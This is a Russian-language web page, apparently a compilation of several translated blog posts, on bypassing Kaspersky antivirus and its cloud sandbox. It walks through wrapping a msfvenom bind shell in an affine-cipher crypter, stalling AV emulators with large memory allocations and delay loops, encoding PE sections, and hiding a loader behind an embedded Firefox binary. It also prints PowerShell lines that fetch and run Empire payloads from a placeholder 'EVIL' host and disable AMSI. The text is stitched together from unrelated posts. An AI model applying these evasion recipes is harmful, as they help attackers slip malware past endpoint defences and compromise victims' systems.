Как обойти антивирус касперского

Обновлено: 21.11.2024

В этом посте представлен способ обойти антивирусные продукты с помощью FUD Cryptor. Основная цель FUD Cryptors — запутать содержимое вредоносного исполняемого файла, чтобы сделать исполняемый файл необнаружимым для антивирусного программного обеспечения, не мешая предполагаемому потоку выполнения исполняемого файла.

В наши дни большинство антивирусных движков полагаются в основном на динамический анализ, а не только на статический. Как статический, так и динамический анализ обеспечивают очень удовлетворительные результаты обнаружения, что затрудняет разработку вредоносного программного обеспечения. Более того, что касается использования динамического анализа, вредоносный исполняемый файл сканируется и запускается в виртуальной среде на короткое время. Кроме того, объединение результатов динамического анализа с проверкой подписи и эвристическим анализом позволяет обнаруживать неизвестные вредоносные программы, а также те, которые полагаются на шифрование. В частности, вредоносный код выполняется и саморасшифровывается в изолированной программной среде AV, и после окончательного анализа кода любое возможное подозрительное поведение будет помечено антивирусным ядром как вредоносное. Таким образом, результаты могут обеспечить высокую вероятность обнаружения вредоносного ПО.

В этом упражнении мы будем использовать оболочку привязки, созданную из среды metasploit. Оболочка привязки будет зашифрована с помощью FUD Cryptor. Кроме того, алгоритм шифрования, используемый в этом примере, представляет собой аффинный шифр. На этом этапе стоит упомянуть, что нет необходимости использовать сложный алгоритм, такой как AES, для шифрования полезной нагрузки, поскольку удовлетворительные результаты также могут быть достигнуты с использованием облегченного шифрования. Позже полезная нагрузка FUD будет извлечена из программы STUB, чтобы расшифровать ее и выполнить во время выполнения.

После краткого вступления, приведенного выше, пришло время приступить к практической демонстрации и проверке концепции использования полностью необнаруживаемого криптора для обхода антивирусного ядра в программном обеспечении Kaspersky Endpoint Security. Для этой демонстрации мне понадобился шелл-код, который обычно можно было бы считать вредоносным ПО, поэтому, как упоминалось ранее, я использовал оболочку привязки, которая прослушивает порт 99 и была сгенерирована с помощью инструмента msfvenom следующим образом

Как видно из приведенного выше вывода, единственное действие, выполняемое с шелл-кодом для запутывания исходного кода, а также для устранения нулевого байта, заключалось в его кодировании с использованием общего кодировщика hikata ga nai. Кроме того, мы должны просканировать исполняемый файл с помощью антивирусного программного обеспечения, чтобы показать, как можно легко обнаружить вредоносный шелл-код, сгенерированный из metasploit. Если мы скомпилируем и создадим следующий фрагмент кода, наш вредоносный исполняемый файл будет готов к сканированию.

Позже и после завершения компиляции мы можем видеть на изображении ниже, что исполняемый файл «simple.exe» был сразу идентифицирован программным обеспечением Kaspersky Endpoint Security как вредоносный.

Итак, на данный момент нам нужно выполнить некоторое шифрование шелл-кода, чтобы избежать обнаружения. Но должно ли шифрования быть достаточно, чтобы избежать обнаружения? Что ж, посмотрим. Как было сказано ранее, шелл-код будет зашифрован с использованием аффинного шифра. В этой статье мы не будем углубляться в детали анализа аффинного шифра, но если кому-то нужны дополнительные примеры, а также необходимо больше узнать об алгоритме, настоятельно рекомендуется прочитать это задание, которое я выполнил в течение курс СЛАЭ. Стоит отметить, что очень важно понять алгоритм аффинного шифра и то, как его можно использовать, прежде чем продолжить чтение этой статьи. Этот шифр использует два ключа , «a» и «b», где «a» будет иметь значение 5, а «b» будет иметь значение 8. Формула шифрования, используемая для шифрования шелл-кода, выглядит следующим образом

Наоборот, формула расшифровки, используемая для расшифровки шелл-кода, выглядит следующим образом

Теперь, на этом этапе, мы будем использовать аффинный шифр для шифрования шелл-кода. Я разработал инструмент, который использует шифр Afine для шифрования заданного шеллкода, который можно найти на моем github. Использование этого инструмента можно увидеть ниже

На этом этапе мы будем использовать инструмент для шифрования шелл-кода привязки, сгенерированного из msfvenom.

Как видно из вывода выше, мы зашифровали шелл-код, сгенерированный msfvenom, и длина зашифрованного шелл-кода составляет 710 байт. На данный момент мы готовы использовать зашифрованный шелл-код в нашей программе STUB, чтобы протестировать ее на программном обеспечении Kaspersky Endpoint Security.

После запуска программы и проверки результатов антивирусного ПО мы видим, что оно снова идентифицировало наш исполняемый файл как вредоносный... Но... что здесь произошло? Мы зашифровали наш шелл-код, и этого не должно быть, верно? Ну не совсем..Как было сказано ранее, современные антивирусные механизмы полагаются не только на методы статического анализа кода, они также выполняют образец вредоносного ПО в песочнице, чтобы динамически наблюдать за его поведением. На этом этапе мы должны приложить больше усилий и выяснить, как избежать обнаружения, используя дополнительные методы уклонения.

Иногда обойти средства защиты бывает непросто, но с помощью некоторых исследований и продуманных действий некоторые средства защиты можно обойти. Кроме того, когда дело доходит до уклонения от ПТ, следует помнить об одном факте — думать о том, как эти механизмы работают в большинстве случаев. Общим ограничением для AV-сканера является количество времени, которое он может потратить на каждый файл. Во время обычного сканирования системы антивирусу придется анализировать тысячи файлов. Он просто не может тратить слишком много времени или энергии на специфический (это также может привести к форме атаки типа «отказ в обслуживании» на AV). Самый простой способ обойти AV состоит в том, чтобы выиграть достаточно времени, прежде чем код будет расшифрован. К сожалению, простой «Сон» не поможет, потому что эмулятор AV приспособился к этому. Более того, чтобы добиться обхода антивирусного движка, нам нужно заставить антивирус пройти через некоторый код, который потребляет слишком много ресурсов, поэтому мы уверены, что антивирус отключится до того, как запустится реальный код. Как видно из следующего фрагмента кода, мы просто выделяем и заполняем 100 мегабайт памяти. Этого достаточно, чтобы отказаться от большинства эмуляторов AV.

При приведенном выше коде большинство антивирусных сканеров просто останавливаются во время malloc, а проверка условия для выделенного указателя даже не требуется

Используя приведенный выше фрагмент кода в приведенной ниже полной программе, а также зашифрованный шеллкод с помощью аффинного шифра, наши шансы обойти AV будут более чем достаточными.

После компиляции вышеуказанной программы, если мы проверим исполняемый файл с помощью Kaspersky Endpoint Security, мы поймем, что успешно обошли обнаружение. На следующем изображении видно, что Kaspersky Endpoint Security не идентифицировал программу как вредоносную

Затем, если мы запустим исполняемый файл, у нас будет хороший прослушиватель на порту 99, как показано на изображении ниже.

В этом сообщении блога я собираюсь показать, как обойти Kaspersky 2018 AV.

AV выполняет статическое сканирование, а также динамическое сканирование, поэтому нам нужно обойти оба. Начнем со статического.

При статическом сканировании AV будет искать строки, которые могут совпадать с его сигнатурами, чтобы попытаться идентифицировать двоичный файл, а также он может искать хэши или длину программы в байтах.

Этот конкретный двоичный файл имеет большую пещеру кода, и нам не нужно добавлять дополнительные байты с помощью PE и шестнадцатеричного редактора, но я собираюсь изменить двоичную структуру.

После этого нам нужно зашифровать или закодировать двоичный файл, чтобы обойти статическое сканирование. В качестве примера посмотрите на эту строку, когда я открываю двоичный файл обычного текста в Olly:

Эта строка может соответствовать сигнатуре AV, и наш файл может быть обнаружен, мы должны его закодировать. Я собираюсь использовать очень простой кодировщик, потому что цель этого поста не в том, чтобы показать вам сложные методы кодирования или шифрования.

В этом конкретном случае нам не нужен очень сложный кодировщик для обхода антивируса, поэтому мы будем делать все просто.

Мы делаем 3 операции: сложение, XOR и вычитание.

Это будет простой кодировщик:

А это декодер, обратите внимание на обратный порядок:

После проб и ошибок при кодировании файла я понял, что мне нужно закодировать текст, rdata и раздел данных, чтобы избежать обнаружения.

Поэтому я применяю кодировщик для кодирования трех частей.

Теперь пришло время просканировать файл, а Касперский его не обнаруживает, но в нашем файле нет заглушки декодера. Получается, что мы обошли статическую проверку файла.

Я оставляю салазки на 200 Nop перед декодером, а декодер и восстановление регистров реализую в конце. Теперь код работает:

Мы сканируем файл с помощью Касперского, и он снова обнаруживает его с той же сигнатурой. Кажется, антивирус также выполняет динамическое сканирование файла.

Мы знаем, что обошли статическое сканирование, но как обойти динамическое? Я прочитал об этом трюке в этом сообщении в блоге:

Мы добавляем задержку, чтобы пройти несколько секунд, пока AV сканирует файл, мы достигнем максимального времени сканирования, разрешенного для сканирования одного файла, и сканирование остановится. После этого настоящий бинарный код будет выполняться вне песочницы Касперского.

Мы просто считаем, пока не достигнем значения 12341234, и помещаем одно и то же значение в стек. Это всего лишь некоторые математические операции, которые вызовут задержку выполнения программы.

Теперь пришло время снова просканировать бинарный файл, и мы понимаем, что Kaspersky больше не обнаруживает его!

Это был всего лишь небольшой трюк для этого конкретного антивируса, но если вы хотите прочитать несколько интересных статей об обходе антивируса, я рекомендую вам следующие:

Kaspersky — один из ведущих антивирусов на рынке. Его используют более 400 миллионов пользователей. Угроза вредоносного ПО все еще существует, и эту технологию можно обойти. в этой статье я объясню, как я обошел корпоративную версию касперского вместе с их облачной песочницей, когда проводил тестирование на проникновение для компании.

Антивирусные стратегии

большинство антивирусных продуктов используют хэш-подпись в качестве первой линии обнаружения известных вредоносных программ, затем они начинают выполнять статический анализ подозрительного файла на этом этапе, который антивирус ищет (но не ограничивается):

  1. любые подозрительные разделы в PE-заголовке, я имею в виду под подозрительными, такие как разделы с большим виртуальным размером и почти нулевым размером на жестком диске, которые указывают на то, что в памяти идет процесс распаковки. также, если раздел имеет разрешение на запись и выполнение .
  2. любой подозрительный импорт: например, динамическая загрузка, импорт модулей регистрации ключей, импорт модулей шифрования, импорт функций защиты от отладки и т. д.
  3. подозрительные ресурсы: если исполняемый файл содержит вредоносные ресурсы.
  4. обнаружение зашифрованных полезных данных внутри двоичного файла путем вычисления энтропии для каждого раздела.
  5. обнаружение известных полезных нагрузок внутри исполняемого файла и известных методов обхода вредоносных программ, таких как уклонение от завесы и шелтер.

Следует отметить, что даже если антивирус обнаружил один из этих индикаторов, это не означает, что это вредоносный файл! антивирус собирает индикаторы и добавляет их в виде точек, пока не достигнет определенного порога, после чего он может сказать, что это вредоносный файл. вот почему судить о файле только на основе статического анализа недостаточно, и здесь динамический анализ и песочница начинают свою работу.

Динамический анализ может выполняться аналитиками по безопасности/вредоносному ПО или автоматизироваться с помощью изолированных программных сред, чтобы копать глубже и понимать поведение, взаимодействия и собирать признаки компрометации. лучший из динамического анализа — это то, что вредоносное ПО начинает раскрывать свою цель и распаковывать или расшифровывать зашифрованную полезную нагрузку, сохраненную внутри, что упрощает анализ, чем упакованный код. обычно на этом этапе собираются нижеприведенные источники для выявления злонамеренного поведения вредоносного ПО:

  1. доступ к файлам, изменение и создание новых файлов.
  2. доступ к реестру, изменение и новые созданные ключи.
  3. сетевые подключения к Интернету или новые службы прослушивают подключения.
  4. создание дампа памяти для поиска внедрений процессов и известных вредоносных программ после распаковки.
  5. запросы доменных имен во время выполнения.
  6. законные программы, запускаемые вредоносной программой, такие как cmd.exe и powershell.

Теперь, даже если песочница зафиксировала подключение к Интернету, она не пометит исполняемый файл как вредоносное ПО до тех пор, пока не выполнит поиск в базе данных анализа угроз, предоставленной компанией AV, на предмет любых известных заражений, касающихся найденного IP-адреса или домена, если это не было найти что-либо, то это не сильно повлияет на решение, за исключением случаев, когда это из таких стран, как Россия, Китай и других известных источников угроз, поскольку существует более высокая вероятность того, что вредоносное ПО будет командовать и контролировать.

Обход «Лаборатории Касперского» (конечная точка и онлайн-песочница)

Теперь, когда мы поняли, как работают антивирус и песочница, нам нужно обойти процесс обнаружения, выполнив наименее подозрительные действия, чтобы свести к минимуму вероятность достижения порога обнаружения. ниже будет рассказано, как я это сделал, используя инструменты с открытым исходным кодом и немного программирования.

затем я получил выполнение команды с правами пользователя на цель с помощью веб-оболочки.

после перечисления системы я обнаружил, что она обновлена ​​до последних исправлений, поэтому я не мог использовать локальные эксплойты для повышения привилегий, что не оставило мне другого выбора, кроме как запустить интерпретатор, чтобы иметь больше контроля и использовать передовые методы. я попытался загрузить полезные данные meterpreter, упакованные с известными упаковщиками, такими как Veil-evasion, vm-protect и shellter, но все они были обнаружены касперским, поэтому я приступил к разработке собственной техники обхода, описанной ниже (я не использовал никаких продвинутых технологий):

Первой попыткой было:

  1. закодируйте полезную нагрузку с помощью XOR с одним байтом, используя скрипт Python, а затем получите закодированный вывод.
  2. сохранить закодированный байт в программе C, которая декодирует полезную нагрузку, чтобы статический анализ не обнаружил полезную нагрузку.

Результат был непредсказуем, так как я получил соединение с машины с доступом администратора, и я был очень счастлив, но через минуту я понял, что это машина с онлайн-песочницей Win7 от Касперского

Вторая попытка заключалась в следующем:

  1. закодируйте полезную нагрузку с помощью XOR с одним байтом, используя скрипт Python, а затем получите закодированный вывод.
  2. сохранить закодированный байт в программе C (загрузчик вредоносного ПО), которая декодирует полезную нагрузку, поэтому статический анализ не обнаружит полезную нагрузку.
  3. встроить законный исполняемый файл Firefox в раздел ресурсов загрузчика вредоносных программ.
  4. загрузчик помещает как Firefox, так и декодированные данные во временную папку.
  5. создайте новый процесс для запуска исполняемого файла firefox в ресурсах.
  6. после запуска Firefox загрузчик вредоносного ПО начнет декодировать полезную нагрузку и запустить ее.
  7. это запутает песочницу, так как есть много хороших индикаторов Firefox, поскольку это законный исполняемый файл, а соединения и все, что он делает, уже внесено в белый список, поэтому песочница пометит весь загрузчик вредоносного ПО как обычный исполняемый файл.

используя доступ к системе, я добавил новые привилегии администратора пользователя, с которыми я вошел в систему с помощью удаленного рабочего стола, затем отключил касперского, как показано ниже, затем продолжил пост-эксплуатацию для перечисления пользователей домена и служб Active Directory.

Цель этой статьи — указать на опасность изготовленных на заказ бэкдоров, потому что, как вы видели в статье, я не использовал никаких передовых методов для обхода конечной точки Касперского и песочницы. так что подумайте о реальных злоумышленниках, которые разрабатывают сложный вектор атаки, чтобы проникнуть в ваши организации. Решение состоит в том, чтобы отслеживать и внедрять центр управления безопасностью, который собирает все события от сетевых устройств, решений для защиты конечных точек и устройств безопасности и отслеживает любое подозрительное поведение.

Purple Teamer, программист, который помешан на информационной безопасности и никогда не перестанет учиться. сертифицировано: OSCP, CRTP, DFIRP, DFIRA, CEHV9, CCNA R&S, CCNA Cyber ​​Ops, Splunk Power, SPlunk Core

1 ответ на «Обход Kaspersky Endpoint и Cloud SandBox (реальный случай пентеста)»

Здравствуйте, можете ли вы написать статью об обходе сетевого брандмауэра на серверах Windows?

Во время недавней встречи мне дали планшет с Windows без установленных инструментов (пентеста) и попросили проверить его безопасность и проверить, как далеко я могу пойти, скомпрометировав его. У меня был собственный ноутбук, но мне не разрешалось напрямую подключаться к внутренней сети с его помощью. Тем не менее, я мог бы использовать его как C2, если бы мне удалось взломать планшет. Короче говоря, получить начальную оболочку было сложнее, чем владеть сетью из-за антивирусов, которые необходимо было обойти.

Настройка

  1. Полностью исправленная Windows 10, работающая на планшете
  2. Обновленная версия Kaspersky Endpoint Security 11 (KES11) на планшете
  3. Google Chrome работает в режиме киоска/PoS на планшете
  4. Прослушиватель Powershell Empire на C2

Перечисление

Однако сочетание клавиш CTRL+N для открытия новой страницы не было заблокировано, бинго! Мы получили новую страницу и доступ в Интернет, круто. Я перешел к строке URL и быстро использовал схему file:// для загрузки и открытия cmd.exe:

Вместо того, чтобы бежать прямо в терминал, который только что появился, я попытался открыть проводник Windows, чтобы получить доступ к файлам и общим ресурсам через графический интерфейс, щелкнув «Открыть местоположение файла» в загруженном файле. Ааааа, действие было отклонено, вероятно, объектом групповой политики.

Вернуться к терминалу:

  1. Я просмотрел файлы и общие ресурсы и не нашел ничего интересного.
  2. Вызовите имя продукта wmic, версию для перечисления установленных программ и связанных версий.
  3. Запустите wmic qfe get, чтобы получить список исправлений.
  4. Запуск сетевого пользователя my_user /domain (да, my_user был присоединен к домену для имитации внутренней атаки)
  5. Запустил whoami /priv, чтобы просмотреть список моих привилегий.

Не нашел ничего интересного с точки зрения эксплойта, который позволил бы мне быстро выиграть. Я был присоединенным к домену пользователем без прав администратора, и к группам, к которым я принадлежал, применялось множество ограничительных объектов групповой политики. Что касается антивируса, была установлена ​​версия Kaspersky Endpoint Security 11.0.0.6499, а также Защитник Windows.

Ошибка, ошибка, ошибка и еще раз успех

Одна из моих целей состояла в том, чтобы доказать, что я могу обойти AV, введя имперский имплантат и двигаться дальше. Поскольку этот тест не был красной командой и был ограничен по времени, я не копировал среду планшета для выполнения своих тестов. Итак, я начал с загрузки программы запуска Empire Powershell через зашифрованный канал с Powershell Invoke-Expression: IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there"), и это будет обнаружено, а не AV, но брандмауэром, который предположительно выполнял проверку SSL! Итак, мне нужна полезная нагрузка, которая могла бы хотя бы пройти через брандмауэр, прежде чем будет выполнена в памяти. Чтобы сэкономить вам время, я провел целый день, раз за разом терпя неудачу, обнаруживаясь либо брандмауэром, либо антивирусом, что очень обрадовало системных администраторов, но также утомило получение предупреждений.

Сжатие и исправление памяти — хорошая пара

Я знал, что на планшете установлен Защитник Windows, и KES11 должен взять на себя контроль над большей частью антивирусного сканирования. Однако я узнал на горьком опыте, что KES11 использует обнаружение AMSI атак на основе скриптов. На самом деле, на их сайте упоминается использование технологии AMSI, но только на странице Kaspersky Security для Windows Server:

Поддержка интерфейсов AMSI. Использование технологии AMSI, интегрированной в Microsoft Windows, позволило усовершенствовать механизм перехвата запуска скриптов на сервере. Повышена стабильность задачи Мониторинг скриптов, снижено влияние программы на окружение при перехвате скриптов и их блокировке в случае обнаружения угроз, а также значительно расширен объем задачи — теперь компонент Мониторинг скриптов работает не только со скриптами на JS и файлы VBS, а также файлы PS1. Функциональность доступна, если компонент «Мониторинг сценариев» установлен на серверах под управлением Microsoft Windows Server 2016 или более поздней версии.

Мой коллега недавно поделился отличной записью в блоге о том, как обойти/отключить интерфейс сканирования на наличие вредоносных программ (AMSI) без повышенных привилегий, исправив его в памяти с помощью DLL: Обход AMSI и выполнение ЛЮБОГО вредоносного кода powershell

Имея это в виду, нам сначала нужно обойти проверку дорожного движения, помните? На помощь приходит Invoke-Obfuscation. Достаточно было несколько раз сжать полезную нагрузку Empire, чтобы обойти это.

Сначала мы берем base64-часть нашего файла launcher.bat, сгенерированного Empire, декодируем его и отправляем в Invoke-Obfuscation . Для этого мы запускаем set SCRIPTBLOCK our_empire_base64decoded_payload :

Затем мы несколько раз запускаем COMPRESS\1, чтобы сжать полезную нагрузку:

Затем я успешно загрузил файл, чтобы загрузить его в память с помощью IEX. Но теперь, когда проверка трафика была обойдена, антивирус блокировал выполнение полезной нагрузки (неудивительно).

Во время этого выступления я узнал, что эвристики KES11 или обнаружение на основе сигнатур впервые сработали с моей полезной нагрузкой еще до того, как AMSI успела проверить сценарий. Мне пришлось сжимать полезную нагрузку ровно 4 раза, прежде чем она смогла обойти AV, а затем была обнаружена AMSI:

Все, что осталось сделать, это отключить AMSI, и все готово. Я разместил следующий код на веб-сервере и загрузил его на планшет с помощью IEX:

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi"), затем Bypass-AMSI .

Успешное выполнение

Теперь, когда полезная нагрузка сжата в 4 раза и AMSI отключена, мы загружаем полезную нагрузку и выполняем ее в памяти:

IEX (Новый объект Net.Webclient).downloadstring("https://EVIL/compressed4.txt")

На снимке экрана выше мы видим, что сжатие полезной нагрузки до 3 раз обнаруживается KES11. В четвертый раз полезная нагрузка проходит через AV, и поскольку AMSI отключен, мы получаем успешное выполнение:

Читайте также: